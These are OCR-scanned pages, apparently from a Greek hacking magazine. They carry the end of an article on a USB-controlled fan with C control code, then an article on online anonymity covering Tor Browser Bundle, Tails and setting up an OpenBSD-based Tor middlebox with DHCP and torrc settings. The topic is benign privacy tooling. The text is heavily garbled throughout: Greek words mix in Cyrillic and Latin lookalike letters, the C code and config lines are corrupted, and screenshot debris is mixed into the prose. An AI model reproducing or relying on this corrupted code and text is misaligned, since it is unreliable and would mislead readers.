µε δύο παραμέτρους. Н πρώτη εἰναι η pwm και δηλώνει ὁτι θέλουμε να ρυθµἰσουμε 
το κύκλωμα РММ του µικροελεγκτή, evo η δεύτερη αποτελεὶ την επιθυμητή роӨ- 
шоп yia το εν λόγω κύκλωμα. Όταν о κὠδικας του προγράµµατος εντοπίζει την 
παράμετρο ro pwm, στἐλνει στον μικροελεγκτὴ το μήνυμα USB. DATA. PWM. Апо 
κοντὰ, στέλνει και δύο τιμὲς των 16bit. Αυτό сонау! κάθε фора που αποστέλλε- 
ται κἀποιο control message. Εμείς, όμως, μαζὶ µε το συγκεκριµένο control message 
θέλουμε να αποστέλλεται και η τιµή για το κύκλωμα РММ. Н τιµή, δηλαδή, που θα 
ρυθμίζει τις στροφὲς του ανεμιστήρα. Па το λόγο αυτό, στην τρίτη γραμμή της ou- 
νάρτησης χρησιμοποιούμε τη συνάρτηση atoi (μετατρέπει συμβολοσειρὲς σε ακἐραι- 
ους) και προσθέτουμε τη δεύτερη παράμετρο στον αριθμό 0x0000. Αυτὸς о αριθµός 
έχει μῆκος 16bit. Έτσι, σχηματίζεται ἑνας Ίθμπιτος αριθμός, στον οποίο περιλαμβά- 
νεται η τιµή για το κύκλωμα РММ! Ας δούμε тора και τον κὠδικα που αξιοποιεἰ TO 
алло control message: 
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else if(strcmp(argv[1], "info" == ©) { 
nBytes - usb control msg(handle, 
USB TYPE VENDOR | USB RECIP DEVICE | USB ENDPOINT IN, 
USB DATA INFO, Ө, ©, (char *)buffer, sizeof(buffer), 5000); 
printf("Got Xd bytes: #%5\п", nBytes, buffer); 
} 


Па να πάρουμε апо τον ανεμιστήρα τις μετρήσεις θερμοκρασίας και υγρασίας, ὀπως 
επἰσης και την τρέχουσα ρύθμιση του PWM, арке! να τρέξουµε ro πρὀγραμμα µε την 
παράμετρο info. Όταν ο κὠδικας εντοπίζει αυτή την παράμετρο, στέλνει στον μι- 
κροελεγκτὴ το μήνυμα USB. DATA ΙΝΕΟ. Στη συνέχεια, λαμβάνει τα δεδομένα που 
στέλνει ο μικροελεγκτἠς και ra εφανἰζει στην οθόνη! 


Πα τη μεταγλώττιση του προγράμματος ανοΐξαμε τη γραμμὴ εντολών, μεταβήκαμε 
στον κατάλογο commandline (εκεἰ βρίσκεται o κὠδικας για το πρόγραµµα του uno- 
λογιστἠ) και δώσαμε ἑνα make usbtest.exe. Μετά апо τη μεταγλώττιση, μπορούσα- 
µε να μιλήσουμε µε τον ανεμιστήρα και να ρυθµἰσουμε την ταχύτητά του, δίνοντας 
ἑνα απὀ τα ακόλουθα: 


usbtest.exe pwm © έως 255 


usbtest.exe info 


Ἰδέες yia το μέλλον 


Н αλήθεια εἰναι πως οὐτε και тора εἶἰμαστε απόλυτα ευχαριστημένοι! Θα μὰς ἄρεσε 
να μετράμε και τις строфёс του ανεμιστήρα. Επἰσης, θα εἰχε ενδιαφἐρον αν κάναμε 
τον ανεμιστήρα µας Ἑακόμαξ πιο ἐξυπνο, WOTE να ρυθμίζει την ταχὑτητά TOU αυτό- 
рата, σύμφωνα µε τη θερμοκρασία και την υγρασία του χώρου. Όλα αυτά орос θα 
τα αφήσουμε για κάποια ἄλλη фора. Αυτή τη στιγµἠ ζεσταινόµαστε πολύ και OKE- 
φτόμαστε να δώσουμε éva usbtest pwm 255. Πιστεύουμε От! εἶναι ο πιο cool τρόπος 
για να δροσιστεἰ ἑνας χάκερ :D 


EN CAWindowsYXsystem32Ncmd.exe = E 


top*usb-fan*commandline»usbtest.exe info 
1ЗИ;Һ:29 


τν0ςεενς ΓιόώργοςνΡεςκζορνας- Εαπνσοππαπά]11πε}λ 


τρέχοντας ro usbtest.exe µε την παράμετρο info, ζητάμε 

апд τον µικροελεγκτή να µας στείλει τη ρὐθμισή του και τις 
μετρήσεις του αισθητήρα. Н πρώτη τιμή εἶναι εκείνη του timer 
(που ρυθμίζει την ταχύτητα περιστροφής), ενώ οι επόμενες δύο 
εἶναι η θερμοκρασία kai η υγρασία που μέτρησε ο αισθητήρας. 
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Н ειδησεογραφἰία των τελευταίων εβδομάδων μὰς το θύμισε και πάλι: Н 
προστασία προσωπικὠν/ευαίσθητων δεδομένων αλλά και η ανωνυμία 
στο Διαδίκτυο, κάθε ἄλλο παρά δεδομένες εἶναι. Καλὸ εἶναι να µην το 
ξεχνάμε ποτὲ auró, ακόµη καλύτερο εἶναι να παΐρνουμε πὀτε πὀτε και 
κανένα μέτρο προστασίας ἠ/και προφύλαξης. Σ’ αυτὀ το πνεύμα, δεῖ- 

χνουμε σε Aiyo noc διασφαλίζουμε, στο μέτρο του δυνατού, την ανωνυ- 

uia ὀχι μόνον ενὸς χρήστη ἡ μόνον ενὸς υπολογιστή, 
αλλά ενὸς ολόκληρου τοπικού δικτύου. 


OpenBSD για µια lean, mean, anonumizing machine! 
Αα 


Are you using Tor? 


|ф Are you using Tor? +1 


ὦ! S1| |а https://check.torproject.org/?langzen-US&small- 1&uptodat: с a- Startpage 


Congratulations. Your browser is configured to use Tor. 


Please refer to the Tor website for further information about using Tor safely. You are now free to browse the Internet 
anonymously. 


Your IP address appears to be: 204.124.83.130 1, 


This page is also available in the folloving languages: 


ie» (Arabiya) Burmese česky dansk Deutsch Ελληνικά (Ellinika) English español Estonian pü (Farsi) suomi frangais Italiano ВЖ (Nihongo) 


norsk (bokmål) Nederlands polski Portugués Portugués do Brasil română Русский (Russkij) Thoi Türkçe українська (ukrajins'ka) Vietnamese 
SX 


eoo «2 Vidalia Control Panel 
Status Ө To Tor Browser Bundle διατίθεται yia 


Windows, OS X και Linux κι αποτελεί 
τον ευκολότερο τρὀπο yia ανώνυμο web 
surfing. О χρήστης περιηγείται στο web 

µέσω rou Firefox που περιλαμβάνεται 

στο πακέτο, ο οποίος εἶναι ρυθμισμένος 

(8) 999 ὥστε να χρησιμοποιεί τον tor proxy 
Stop Tor 


ф Connected to the Tor network! 


Vidalia Shortcuts 


Setup Relaying server που επίσης περιλαμβάνεται στο 
— πακέτο. Στη φωτογραφία, απὀ ἑναν 


υπολογιστή µε OS X, έχουμε επισκεφθεί 

9... the Network $ .. а New Identity TO http://check.torproject.org ΚΙ επιβε- 
βαιώνουμε ὁτι πράγματι βγαίνουµε στο 

Ξ web µέσω του Tor network (1). Χάρη στο 

ΒΒ, Bandwidth Graph €) Help Ө About Vidalia Control Panel, εξάλλου, έχουμε 
Ee εύκολο έλεγχο του tor ΡΓΟΧΥ (2). Όχι 
ότι χρειάζεται υποχρεωτικά ρύθμιση п 

εποπτεία, όμως то να μπορούμε να ENEH- 

[МЇ Show this window on startup і βαΐνουμε ἡ va ρίχνουμε µια ната στο 
Tor network σίγουρα δεν βλάπτει! 


|&| Message Log αἴ Settings 


Н λύση nou θα υλοποιήσουμε δεν αφορά povo στη διαδικτυακἠ κἰνηση συγκεκριµέ- 
νων εφαρμογών ἡ/και υπηρεσιών. Πολύ περισσότερο, αφορά σε όλη τη διαδικτυακἠἡ 
κίνηση ενός ολόκληρου τοπικού δικτύου. Πριν ὁμως ξεκινήσουμε, ας µας επιτραπεὶ 
να υπογραμμίσουμε оті ἄλλο πράγμα εἶναι η προστασία επικοινωνιών και δεδοµένων 
апо βλέμματα τρίτων (privacy), κι εντελώς ἆλλο η ανωνυμία (anonymity). 


To va ἐχω privacy (ιδιωτικὀτητα;) σημαίνει, π.χ., πως όταν θέλω να επικοινωνήσω 
µε κἄποιον συγκεκριµένο χρήστη και το περιεχόµενο αυτής της επικοινωνἰας δεν 
επιθυμώ να ναι διαθέσιμο σε κανέναν ἀλλον, εἶμαι σε θέση va то κάνω. Σημαίνει, 
επἰσης, πως órav npayparonoio µια аүора απὀ κάποιο διαδικτυακό κατάστημα και 
OTÉÀVO τα στοιχεία της πιστωτικής µου κάρτας, πρόσβαση с’ αυτά ἐχει το σύστημα 
παραγγελιών του καταστήματος και каміс ἄλλος. Σημαίνει κι ἄλλα πράγματα, όπως, 
n.X., От! τα δεδομένα nou αποθηκεύω с’ va cloud storage εἶναι διαθέσιµα о’ εμένα 
και μόνον κι Ох! σε διαχειριστὲς της υπηρεσίας ἡ σε ἄλλους, οι οποἱοι µε εισαγγελικἠ 
εντολἠ ἡ ὀχι απαιτούν πρόσβαση. 
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Welcome to Tails 


Administration password 


Enter an administration password in case you need to 
perform administration tasks. 
Otherwise it will be disabled for better security. 


Password: 


Verify Password: | 


Windows Camouflage 


This option makes Tails look more like Microsoft Windows ΧΡ, This 
may be useful in public places in order to avoid attracting suspicion. 


|Activate Microsoft Windows XP Camouflage! 


Λίγο πριν φορτώσει ro dektop rou Tails 
έχουμε την επιλογή για την ενεργοποίηση 
του λεγόμενου Windows ΧΡ Camouflage. 
Σας προτείνουμε να το ενεργοποιήσετε — 
τουλάχιστον μία φορά ;) 


© | English с | 3 |united states 5 | =% 


USA " 


Προσέξτε εδώ бт! στα προηγούμενα παραδείγματα δεν αποκρύπτονται κατ’ ανάγκη 
οι ταυτότητες εκείνων που επικοινωνούν, αγοράζουν ἡ αποθηκεύουν τα δεδοµένα 
τους. Αυτό που παραμένει κρυφὀ εἶναι та ἴδια τα δεδοµένα που διακινούνται ἡ ano- 
θηκεύονται. 


Ὅταν επιθυμούμε την απὀκρυψη της ταυτότητας, τότε μιλάμε για ανωνυμία 
(anonymity). Το να ἐχω ανωνυμία σημαίνει πως Ò,TI κι αν κάνω στο Διαδίκτυο, αν 
το επιθυμώ, η αληθινή µου ταυτότητα παραμένει κρυφἠ. Κρυφά παραμένουν και 
στοιχεἰα που θα μπορούσαν να χρησιμοποιηθούν για την αποκάλυψη της ταυτότη- 
τας µου. Παραδείγματα τέτοιων στοιχείων εἶναι η δημόσια διεύθυνση IP nou ἐχει ο 
υπολογιστἠς µου, καθώς και πληροφορίες για τη γεωγραφικἠ τοποθεσία στην οποία 
βρίσκομαι. 


Μέθοδοι yia τη διασφάλιση ιδιωτικότητας κι ανωνυμίας υπάρχουν πολλὲς, ὁπως eni- 
σης υπάρχουν και τεχνικές για την ακὐρωσὴ τους. Πα παράδειγµα, σε άρθρο που 
δημοσιεύσουμε στο 


http://deltahacker.gr/?p-8868 


βλέπουμε nog γίνεται у’ αποκτήσει κάποιος πλήρη πρὀσβαση σε όλα τα δεδοµέ- 
να nou διακινούμε µέσω ενὸς ασφαλούς, κρυπτογραφημένου καναλιού HTTPS, Ka- 
тафёруоутас̧ µε τον τρόπο auró ισχυρότατο πλήγμα στην ιδιωτικὀτητἁ µας. H δε 
ανωνυμία µας εἶναι κι αυτἠ εὐκολο να πληγεἰ, αν π.χ. κἄποιος αποκτήσει πρόσβαση 
στα log files του ISP µας r|/kai σ’ εκείνα δικτυακών τόπων που συνηθίζουµε va επι- 
σκεπτόμαστε. 


Πα την πλήρη προστασία µας, το ιδανικὀ εἶναι ἑνας συνδυασμὸς τεχνικών ενίσχυσης 
τόσο της ιδιωτικότητας, 000 και της ανωνυμίας. Па παράδειγµα, µια άριστη λύση 
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Are you using Tor? - iceweasel 
Ele Edit view History Bookmarks Tools Help 
Ф Are you using Tor? [Ф| 


ο Θ Ф - 51 ὢ hrtps-/check torproject.org 


Congratulations. Your browser is configured to use Tor. 


Please refer to the Tor website for further information about using Tor safely. You are now free to browse the Internet 
anonymously. 


6 Your IP address appears to be: 50.7.161.108 » 


This page is also available in the following languages: 


dansk Deutsch Ελληνικά (Ellinika) English espafiol == чш» (Fársi) suomi francais Italiano inm — 5 ibokedl) 
Portugués Portuqués do Brasil гояапа Русский (Russkij) Thai Тйгксе українська (ukrajins'ka) τ «5 


é Vidalia Control Panel 


é Connected to the Tor network! 
Vidalia Shortcuts 


Ө.-. the Network $ Use а New Identity 


Επ Bandwidth Graph Ө Help 
[E] Message Log Ө About 


Με ro Windows XP Camouflage ενεργοποιημένο, ὀποιος ρίξει µια пата στην 
οθόνη µας καθώς χρησιμοποιούμε ro Tails δεν θα παρατηρήσει τίποτε то 
παράξενο. Όσο για εμάς, βγαίνουµε στο Internet апд éva πλήρως torrified 
περιβάλλον, απολαμβάνοντας τη μέγιστη δυνατή αυτονομία. 


που αφορὰ στην ιδιωτικότητα επιτάσσει τη χρήση µιας υπηρεσίας VPN. Δείτε, n.x., 
τις ακόλουθες δύο λύσεις, που αφορούν στο OpenVPN: 


http://deltahacker.gr/?p-5187 και http://deltahacker.gr/?p-5669 


Πα την ασφαλἠ αποθήκευση δεδομένων η ενδεδειγµένη οδὀς εἶναι αυτή της ισχυρἠς 
κρυπτογραφίας — και το TrueCrypt εἶναι ἑνα ἀριστο, δωρεάν εργαλείο γι΄ αυτὸν то 
σκοπὸ: 


http://deltahacker.gr/deltacast-s01e04 


Εξάλλου, η κατ’ εξοχἠν λύση για τη διατήρηση της ανωνυμίας εμπλέκει ἑναν ἡ ng- 
ρισσότερους anonymous proxies. 


To σύστημα ανωνυμῖας rou Tor 


Βγαϊνοντας oro Internet µέσω του ομώνυμου δικτύου (https://torproject.onrg), 
πριν φτάσουμε στον τόπο που θέλουμε να επισκεφθούμε ἡ στην υπηρεσία που eni- 
θυμούμε να χρησιμοποιήσουμε, прота διερχόμαστε μέσα апо ёха δυναμικὀ, TU- 
xaio σύνολο апо διασυνδεδεμένους routers. Καθένας απ’ αυτούς γνωρίζει μόνον 
τον προηγούμενο και τον επόμενο, EVO η μεταξὺ τους επικοινωνία γίνεται κρυπτο- 
γραφημένα. Τη στιγμή nou το traffic µας αφήνει το Tor network και βγαίνει στο 
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ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΑΧ ΧΧΧ ΧΑΝΑ ΧΧΧ ΧΧΧ ΑΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΑ ΧΧΧ ΝΑ 


η, intr ^C, status ^T 


Jelcome to the ÜpenBSD^/i386 5.3 installation program. 
(Install, (Upgrade or (S)hell7? 


О installer του OpenBSD θυμίζει кат! апд προϊστορία, αλλά µην agh- 
σετε την εμφάνισή TOU να σας ξεγελάσει. Στην πραγματικότητα, TO 
µόνο που χρειάζεται апд μέρους του χρήστη --ειδικά όταν μιλάμε για 
εγκατάσταση σε VM— εἶναι αρκετά narrjuara rou [Enter]! 


«κανονικό» Internet, φαίνεται να προἑρχεται апо τη διεύθυνση IP που ἐχει ο εκά- 
στοτε exit node, δηλαδή o τελευταἰος router апо εκεἰνο το δυναμικὀ σύνολο routers, 
μέσα апо το οποίο περνά ro traffic yia то δεδομένο xpovikó διάστηκα. Ίσως φαντά- 
ζει λίγο μπερδεμένη και παράξενη η περιγραφἠ που μόλις κάναμε, αλλά η γενικἠ 
ιδέα εἶναι αυτή. Περισσότερα yia το пос δουλεύει το Tor μπορείτε να διαβάσετε και 
στο λήμμα της Wikipedia nepi onion routing: 


http://en.wikipedia.org/wiki/Onion routing 


Στο υπόλοιπο του παρὀντος ἄρθρου ασχολούμαστε µε тп διασφάλιση της ανωνυμίας 
μέσω του Tor network και δείχνουμε noc μπορούμε να περνάμε *oAn* τη διαδικτυ- 
акй κίνηση ενὸς *oAókAnpou* LAN μέσα апо το εν λόγω δίκτυο. Πριν απ’ αυτὀ — 
και προκειµένου ν΄’ αποκτήσουμε µια ολοκληρωμένη εικὀνα για то εὗρος της λύσης 
που σε λίγο θα υλοποιήσουμε--, οφείλουμε να δούμε στα γρήγορα δύο μεθόδους 
πρόσβασης στο Тог: Н µία αφορά о’ ἐναν χρήστη και σε μία εφαρµογή, ενώ η ἄλλη 
αφορά σε ὁλες τις εφαρμογὲς ενὸς µόνο υπολογιστή. 


Tor Browser Bundle (TBB). Εἶναι ελεύθερα διαθέσιμο апо το 
https://torproject.org/download/download-easy.html.en 


και υπάρχουν εκδοχὲς yia Windows, OS X και Linux. To πακέτο περιλαμβάνει ӧ,ті 
χρειαζόμαστε για ανώνυμο surfing µέσω του browser (Firefox) που εμπεριέχεται στο 
bundle. H ανωνυμία µας προστατεύεται μόνον отау χρησιμοποιούμε τον συγκεκρι- 
рёмо web browser στον οποίο, παρεμπιπτόντως, δεν πρέπει να εγκαθιστούµε ἡ va 
ενεργοποιούµε plugins. 


Tails. Πρόκειται yia ша Live διανομὴ Linux που βασίζεται στο Debian και δεν εγκα- 
θίσταται σε κάποιον υπολογιστή αλλά τρέχει απευθείας апо δίσκο DVD ἡ USB stick. 
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„ыйба (469bd9bSbb?e81d7.d): file system is clean; not checking 


enabled 
‘>t. ip.forwarding: 
SUE ME 


.109 -- renewal in 1296000 seconds. 
daemons: syslogd pflogd. 
RPC daemons: . 
no соге dump 


learing 
arting ^ 
setting kernel s Р rn.secureleuel: Ө -> 1 
ating runtime link editor i 
ving editor files. 
arting network daemons { : аһсрай sendmail inetd sndiod. 


arting p ge аг tor. 
starting 1 ] daemon сї" — 
i Jul 26 19:44:57 EEST 20 


)penB3D^ 1386 (Ctherouter.parabing.com) (ttuyCO) 


login: 


To OpenBSD-based Tor middlebox ἐχει ξεκινήσει και εἶναι πανέτοιµο va εξυπηρε- 
τήσει κάθε διαδικτυακή εφαρµογή, κάθε μηχανήματος πίσω του. ΚΙ όταν μιλάμε για 
«εξυπηρέτηση», εννοούμε От! όλη η εξερχόµενη διαδικτυακή κίνηση θα διέρχεται 
αυτομάτως апд ro Tor network και µετά θα βγαίνει στο «κανονικὀ» Internet. 


Διατίθεται ελεύθερα απὀ το 


https://tails.boum.org 


και εἶναι ἐτσι ρυθμισμένη, ὥστε ὀλες οι διαδικτυακές εφαρμογὲς nou περιλαμβάνει 
(web browser, instant messenger, email client к.а.) να περνάνε μέσα апо ro Tor 
network. Σε αντίθεση δηλαδἠ µε ro TBB, ro οποίο προσφέρει «torrification» µόνο 
για τον web browser που περιλαμβάνει, το Tails αποτελεἰ ἑνα πλήρως «torrified» 
περιβάλλον. Επιπρόσθετα, η διανομή περιλαμβάνει κι εργαλεἰα για την кроптоүра- 
Φηση/αποκρυπτογράφηση δεδομένων ἠ/και της ηλεκτρονικἠὴς αλληλογραφίας. To 
γεγονὸς εξάλλου бт! πρὀκειται για Live περιβάλλον, σημαίνει πως στον υπολογιστή 
στον onoio τρέχει δεν μένει κανένα απολύτως ἶχνος ἡ στοιχεἰο που να φανερώνει От! 
εἰμασταν εκεί και τρέξαμε ro Tails. Апо τη μεριά µας, το µόνο που χρειάζεται εἶναι 
va ἐχουμε το λειτουργικὀ μαζί µας с’ ἑνα δισκάκι DVD ἡ καλύτερα σε ἑνα USB stick. 
Όποτε θἐλουµε va το χρησιμοποιήσουμε θα το φορτώνουμε о’ ἑναν οποιονδήποτε 
υπολογιστή στον οποίο, προφανώς, επιτρέπεται το φόρτωμα λειτουργικού συστἠ- 
ματος. 


Tor middlebox 


Στις περιπτώσεις των TBB και Tails έχουμε ἐναν μόνον υπολογιστή, στον οποίο λει- 
τουργεἰ o tor proxy server (neò «t»). Айтбу μπορούμε va rov φανταζόμαστε ως 
την πύλη εισόδου στο Tor network. Στο TBB μόνον o Firefox εἶναι ρυθμισμένος WOTE 
να χρησιμοποιεί rov tor proxy, ενώ στο Tails κάθε διαδικτυακή εφαρμογἠ τον ἐχει 
μπροστά της. 


ГА 


Ὅπως και να χει, то torrification που επιτυγχάνεται апо τα TBB και Tails афора с 
vav μόνον υπολογιστή. Τι κάνουμε орос αν θέλουμε όλη η διαδικτυακἠ κίνηση, 
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ενὸς ολόκληρου τοπικού δικτύου, να περνάει μέσα апо то Тог; Πολὺ апла, στήνουμε 
ἑνα μηχάνημα σε ρὀλο router κι εγκαθιστούµε εκεἰ τον tor proxy server. О router 
βλέπει òào το network traffic των μηχανημάτων που βρἰσκονται πίσω του, δηλαδή 
όλων των μηχανημάτων που εξυπηρετεί, κι Отау εντοπἰζει πακέτα nou κατευθύ- 
νονται προς το Internet τα στέλνει, σιωπηρὰ κι αυτόματα, στον τοπικὀ tor proxy 
server. Κατ’ αυτόν τον τρόπο επιτυγχάνεται το torrification όλων των διαδικτυα- 
Kov εφαρμογών, όλων των υπολογιστών που χρησιμοποιούν τον router. Πρόκειται, 
προφανώς, για vav router ειδικού σκοπού και οι συσκευἑς/υπολογιστὲς σε τέτοιον 
ρόλο ονομάζονται Tor middleboxes. 


Το δικό µας Tor middlebox 


Πα τη δηµιουργία του router μπορούμε να καταφύγουµε σε µια διανομή Linux, µε 
ra Debian και Ubuntu Server να ἐρχονται прота ката νου. Έχουμε επίσης τη õu- 
νατότητα va στραφούμε στον κόσμο του BSD. Ακριβώς αυτό κάναμε εμεὶς για τους 
πειραματισμούς και την μετέπειτα παρουσἰασἠ µας και, συγκεκριμένα, επιλέξαμε το 
OpenBSD (http://openbsd.org). Οι κύριοι λόγοι ἦταν δύο. 


1. To OpenBSD εἶναι εξαιρετικἀ ελαφρύ. О router µας µπορεἰ κάλλιστα να ἐχει 64 
ἡ ακόµη και 32MB μνήμης КАМ. 


2. Ψἀάχναμε µια δικαιολογία για ν’ ασχοληθούμε, επιτέλους, µε то OpenBSD, ¿va 
λειτουργικὀὸ σύστημα που φημίζεται για την ασφἀλειά του. 


3. To iptables rou Linux εἶναι катара, evo το pf rou BSD ευλογία! 
(Nai, πράγματι αναφερθήκαμµε σε δύο λόγους, αλλά αυτός ο τρἰτος εἰν’ ἑνα bonus 
που δύσκολα µπορεί у’ αγνοηθεἰ.) Па την εγκατάσταση rou OpenBSD аркі va 
παλιὸ μηχάνημα, που орос Ва ἐχει δύο κάρτες δικτύου. Εναλλακτικά, ша калд ιδέα 
εἶναι να κάνουμε прота τους πειραματισμούς µας σε εικονικὀ περιβάλλον και μετὰ 
να δούμε αν αξίζει ν’ ασχοληθούμε µε το physical hardware. 
Κατὰ τις δοκιμές µας... 

e εγκαταστήσαμε ro OpenBSD σ’ va VirtualBox VM, 

ο TO puOuicaue ὡστε va ἐχει router functionality, µε υποστήριξη DHCP 

ο εγκαταστήσαμε, puOpicape κι ενεργοποιἠσαµε τον tor proxy server, 

e φροντίσαμε για τους απαραίτητους κανόνες oro PF firewall και... 

e ...пісо апо ro middlebox βάλαμε αρκετά àAAa VMs :D 
Κάτι που µας εξέπληξε ευχάριστα και θα θέλαμε va ro αναφέρουμε, ἦταν η ταχύτητα 
πρόσβασης σε διαδικτυακἀ web sites και υπηρεσίες. Av και, λογικά κι αναμενόμενα, 
TO web surfing µέσω του Tor network εἶναι πιο αργό σε σχέση µε то να βγαίνουμε 
απευθείας ото Internet, ката τις περιηγήσεις µας δεν παρατηρήσαμε αισθητὲς Ka- 
θυστερήσεις. Βάλαμε ακόµη va κατεβάσουμµε κι ёха torrent rou Tails: Με χαρά δια- 
πιστώσαμε Ori η μέση ταχύτητα download ἦταν κοντὰ στα 1,5Mbps! 


Αλλά νοµίζουμε бт! εἶναι opa να δούμε, αναλυτικἁ και βήμα προς βήμα, то στήσιμο 
ενὸς Tor middlebox που βασίζεται στο OpenBSD. 

Βήμα 0 — δημιουργία VM 

Όπως εἶπαμε πριν λίγο, για τις πρώτες δοκιμὲς µας δεν εἰναι καθόλου κακἠ ιδέα 
να δουλέψουμε σε εικονικὀ περιβάλλον. Να υπογραμμίσουμε, επίσης, πως ἑνα Tor 
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Applications Sat jul 27 829 АМ ! 1 Ò 
subo@elementarybox: ~ 
X subO&elementarybox] х What is my ip | Whatip.com. 


ΑΓ 


+ X deltacast | бәәнә V x What is my ip | Wh. 


m 
ManageFngine 


DeviceExpert 


Your IP address: 91.219.237.179 ο ο йй) о] 9 
Country: Hungary 


Organization: Azar-A Kft. 


Infoblox 


DNS Advisor Tool ARN 
Search for additional IP: à 


912219237179 ΚΞΝ EN 


15Р. Azar-A KÍL 


р IRYIT NOW 
Slova 


[op 5 


Useful Information about IP address? 


ki 
f 


> Howto hide Ip adressi 
> Howto change Ip address? 


> Howto find Ip address 


Ένας υπολογιστής τρέχει το πανέμορφο elementary OS (http://elementaryos.org) 
κι ως router ἐχει εκείνο то OpenBSD-based Tor middlebox. Αποτέλεσμα; 
Όλη η διαδικτυακἠ του κίνηση εἶναι torrified! 


middlebox εἶναι ὁ,τι πρέπει και για κἄποιο εικονικό εργαστἠριο, n.x., σαν αυτό που 
φτιάχνουμε στο deltaCast «01606: 


http://deltahacker.gr/deltacast-s01e06 


Па τη φιλοξενία του OpenBSD, λοιπὸν, δημιουργήσαμε éva VirtualBox VM µε 64MB 
RAM (και πολλά rjrav) και δύο εικονικἐς κάρτες Ethernet: Н µία Bridged (WAN) και η 
ἄλλη µε host-only networking (LAN). Το προτεινόμενο μέγεθος του εικονικού δίσκου 
για τη µηχανἠ ἦταν 8GB — και θα μπορούσαμε να τ’ αφήσουμε τόσο. Επειδἠ όμως 
ο προκαθορισµένος τύπος εικονικού δίσκου (VDI) εἰναι δυναμικὀς, επομένως δεν 
καταλαμβάνει εξ αρχἠς rov αντἰστοιχο ҳоро апо τον δίσκο του host computer, yia 
кабара ψυχολογικοὺς λόγους ανεβάσαμε το μέγεθός rou στα 32GB. Τέλος, µιας και 
ἦταν εντελώς ἄχρηστοι για rov router µας, απενεργοποιἠσαµε τους ελεγκτὲς ἠχου 
και 058. 


Βήμα 1 — εγκατάσταση του OpenBSD 


О installer του OpenBSD θυμίζει кат! anó προϊστορία, αλλά αυτό δεν πρέπει να σας 
αποθαρρύνει. Στην πραγματικότητα, το μόνο που χρειάζεται апо μέρους του χρήστη 
--ειδικἁ όταν μιλάμε για εγκατάσταση σε VM— εἶναι να πατήσει πολλὲς Φορές το 
[Enter]. Δείτε το deltaCast 501610 για µια περιήγηση στη διαδικασία της εγκατάστα- 
σης του OpenBSD: http://deltahacker.gr/deltacast-s01e10 
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Βήμα 2 — router functionality 


Ουσιαστικἀἆ, το μόνο που χρειάζεται το OpenBSD box για va λειτουρήσει ως router, 
εἶναι η ενεργοποίηση rou IP forwarding μεταξύ των network interfaces. Апо єкєї και 
πέρα, για περισσότερη ευκολία ρυθµἰζουμε κι ενεργοποιούµε τον DHCP server rou 
OpenBSD, ώστε τα μηχανήματα πίσω του va παίρνουν αυτόματα διευθύνσεις IP. Па 
ἄλλη µια φορά παραπέμπεστε στο deltaCast 501610, ωστόσο δείτε σας παρακαλού- 
µε απὀ тора τα περιεχόμενα του δικού µας αρχείου /etc/dhcpd.conf: 
option domain-name "parabing.com"; 
option domain-name-servers 192.168.99.1; 
subnet 192.168.99.0 netmask 255.255.255.0 ( 
option routers 192.168.99.1; 
range 192.168.99.100 192.168.99.150; 


) 


Στη δεύτερη γραμμὴ ορἰζεται η διεύθυνση IP του nameserver nou θα χρησιμοποιούν 
Οι DHCP clients, δηλαδή τα μηχανήματα πίσω апо ro OpenBSD. Н διεύθυνση nou 
έχουμε καθορἰσει εἶναι αυτή nou ἐχει ro host-only interface του VM µας — p’ άλλα 
λόγια εκείνη του LAN adapter. О λόγος nou το κάναμε εἰναι διότι ρόλο nameserver 
για τους clients θέλουμε va παἰζει o tor proxy server κι ὀχι κἄποιο μηχάνημα του 
ISP µας (βλ. παρακάτω). Σ’ αυτή τη δεύτερη περίπτωση θα εἰχαμε τα λεγόμενα 
DNS leaks, µε αποτέλεσμα κάποιος τρίτος να γνωρίζει ποια sites επισκέπτονται Οι 
χρήστες των υπολογιστών πἰσω апо το Tor middlebox. Κάνοντας την οποιαδήποτε 
τροποποίηση στο αρχείο /etc/dhcpd.conf, προκειµένου να ληφθεί υπόψη οφείλουμε 
εἰτε να επανεκκινήσουμε χειροκίνητα τον DHCP server site апла va κάνουμε ἑνα 
reboot στο σύστημα. 


Βήμα 3 — εγκατάσταση-ρύθμιση-ενεργοποίηση rou tor proxy server 
Апо τον λογαριασμὀ του root, εγκαθιστούμε το πακέτο του tor: 
# pkg add -i tor 


Στη συνέχεια ανοἰγουµε ro αρχείο ρυθμίσεων /etc/tor/torrc µε τον αγαπημένο µας 
text editor, αφού όμως прота κρατήσουμε ἑνα аутіүрафо του: 


# cp /etc/tor/torrc /etc/tor/torrc.original 
à nano /etc/tor/rorrc 
Μετακινούμαστε στο τέλος του αρχείου και npoo0£rouyus τις ακόλουθες γραμμὲς: 
VirtualAddrNetwork 10.192.0.0/10 
AutomapHostsOnResolve 1 
TransPort 9040 
DNSPort 127.0.0.1:54 


Αποθηκεύουμε τις αλλαγὲς κι εγκαταλεἰπουµε rov editor. Δεν ενεργοποιούµε ακόµη 
TO tor. 
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їр: 78.87.0.162 їр: 74.125.18.214 IP: 72.11.150.74 
Hostname: 78.87.0.162 Hostname: 74.125.18.214 Hostname: 72.11.150.74.static.quadranet.com 
ISP: Cyta Hellas | ISP: Google ISP: ОСЗ Networks & Web Solutions, LLC 
Country: Greece E Country: Germany = Country: United States Εξ 
IP: 78.87.0.122 | 1р: 74.125.18.81 IP: 72.11.150.10 
Hostname: 78.87.0.122 Hostname: 74.125.18.81 Hostname: 72.11.150.10.static.quadranet.com 
| ISP: Cyta Hellas ISP: Google ISP: OC3 Networks & Web Solutions, LLC 
Country: Greece ФЕ Country: Germany = Country: United States Oo 
αρ: 74.125.18.80 
Hostname: 74.125.18.80 
ISP: Google 
Country: Germany EE 


Τρία διαφορετικά DNS leak tests, апо το ἰδιο VirtualBox VM και µε тп βοήθεια του 
http://dnsleaktest.com. Αρχικά, то VM έχει Bridged networking και βγαίνει στο 
Internet απευθείας απὀ το VDSL modem του ISP µας (1). Στη συνέχεια βάζουμε МАТ 
networking ΚΙ ανακαλύπτουμε бт! µε τον συγκεκριµένο τύπο δικτύωσης ro VirtualBox 
επιβάλλει τη χρήση συγκεκριμένων nameservers, στη Γερμανία. Τέλος, ото VM δίνου- 
µε host-only networking kai τώρα ως router χρησιμοποιεί την εικονική μηχανή HE то 
OpenBSD, που ἐχει ρόλο Tor middlebox. Αυτή τη φορά, ra DNS queries τα διαχειρίζε- 
ται ο tor proxy server που τρέχει στο OpenBSD VM και στο συγκεκριµένο παράδειγµα 
